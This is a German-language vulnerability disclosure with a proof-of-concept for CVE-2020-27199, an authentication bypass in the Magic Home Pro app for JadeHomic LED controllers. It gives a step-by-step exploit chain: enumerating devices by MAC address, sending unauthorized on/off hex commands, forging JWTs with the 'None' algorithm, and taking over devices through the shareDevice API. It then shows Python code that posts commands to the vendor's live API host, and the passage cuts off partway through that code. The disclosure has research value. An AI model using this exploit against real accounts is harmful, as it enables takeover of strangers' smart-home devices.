
CVE-2020-27199

Mehrere Schwachstellen wurden in der mobilen Magic Home Pro Anwendung gefunden, die zur Steuerung des JadeHomic LED-Strip-RGB-Kits verwendet wird. Die bedeutendste dieser Schwachstellen ist eine Authentifizierungsumgehung (CVE-2020-27199), die letztendlich eine vollständige Übernahme und Kontrolle der gesamten Gerätegruppe eines Opfers ermöglicht.
magichome-forge.py - JWT-Fälscher, verwendet zur Automatisierung der Geräteübernahme
magichome-sniffer.py - Lokaler Netzwerk-Sniffer, der das Netzwerk nach anfälligen Geräten durchsucht. Erstellt eine Liste von Geräten, gegen die Angriffe durchgeführt werden können
magichome-switch.py - Ermöglicht das Einschalten von Geräten
magichome-takeover.py - Payload, der eine erfolgreiche Übernahme eines Benutzerkontos ermöglicht
Suzhou SmartChip Semiconductor Co.,Ltd
Diese Schwachstelle ermöglicht es jedem authentifizierten Benutzer, seine aktuelle Autorisierungsstufe zu nutzen, um Endpunkte abzufragen, die nicht zu seinen registrierten Produkten gehören, unter Verwendung eines API-Aufrufs an /app/getBindedUserListByMacAddress/ZG001?macAddress=<mac address>. Dies führt zu einer HTTP-Antwort, die die Existenz des Endpunkts anzeigt und den Benutzernamen, die eindeutige Benutzerkennung (userUniID) und die gebundene eindeutige ID (bindedUniID) des zugehörigen Endpunkts zurückgibt.
Unter Verwendung der obigen Abfrage kann ein Angreifer dann eine nicht autorisierte POST-Anfrage an die API /app/sendCommandBatch/ZG001 senden, unter Verwendung der neu ermittelten MAC-Adresse, um Befehle an den entfernten Endpunkt zu senden, wobei die kompatiblen Hex-Befehle 71230fa3 und 71240fa4 verwendet werden, die jeweils EIN und AUS bewirken.
Nach Abschluss der ersten Aufklärung ist es auch möglich, ein JWT unter Verwendung der userID und uniID in den JWT-Payload-Daten zu fälschen, wodurch der Token effektiv herabgestuft wird, um 'None' als Algorithmus im JWT-Header zu verwenden (Signaturumgehungs-Schwachstelle). Mit dieser Schwachstelle ist die Anwendung anfällig für eine Geräteübernahme durch einen Angreifer, indem der entfernte API-Aufruf an /app/shareDevice/ZG001 verwendet wird und der JSON-Parameter friendUserID genutzt wird, um das Gerät zur Geräteliste des Angreifers hinzuzufügen, wodurch der Angreifer die vollständige Kontrolle über das Endgerät erhält.
Danksagungen:
Die OUI beschreibt die eindeutige Kennung der Organisation für MAC-Adressen, die bei einer Organisation registriert sind. Im Fall von JadeHomic lautet die magische OUI C8:2E:47, wobei die ersten drei Bytes dem Hersteller und die zweiten drei Bytes der vom Hersteller zugewiesenen Seriennummer entsprechen. In unserem Fall ist die Herstellerkennung bei Suzhou SmartChip Semiconductor Co., LTD registriert.
Ermöglicht die Authentifizierungsumgehung der mobilen Magic Home Pro Anwendung und damit die vollständige Kontrolle über die gesamte Gerätegruppe eines Opferbenutzers.
Der Proof of Concept führt eine Aufklärung der letzten Bytes im MAC-Bereich durch und gibt Ergebnisse zurück. Es ermöglicht einen Test der 'Remote-Ausführung', falls Sie sich mutig fühlen.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re
'''
global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token
def turnOn(target, token):
urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71230fa3","macAddress":target}
]
}
data = json.dumps(array)
headersOn = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def turnOff(target, token):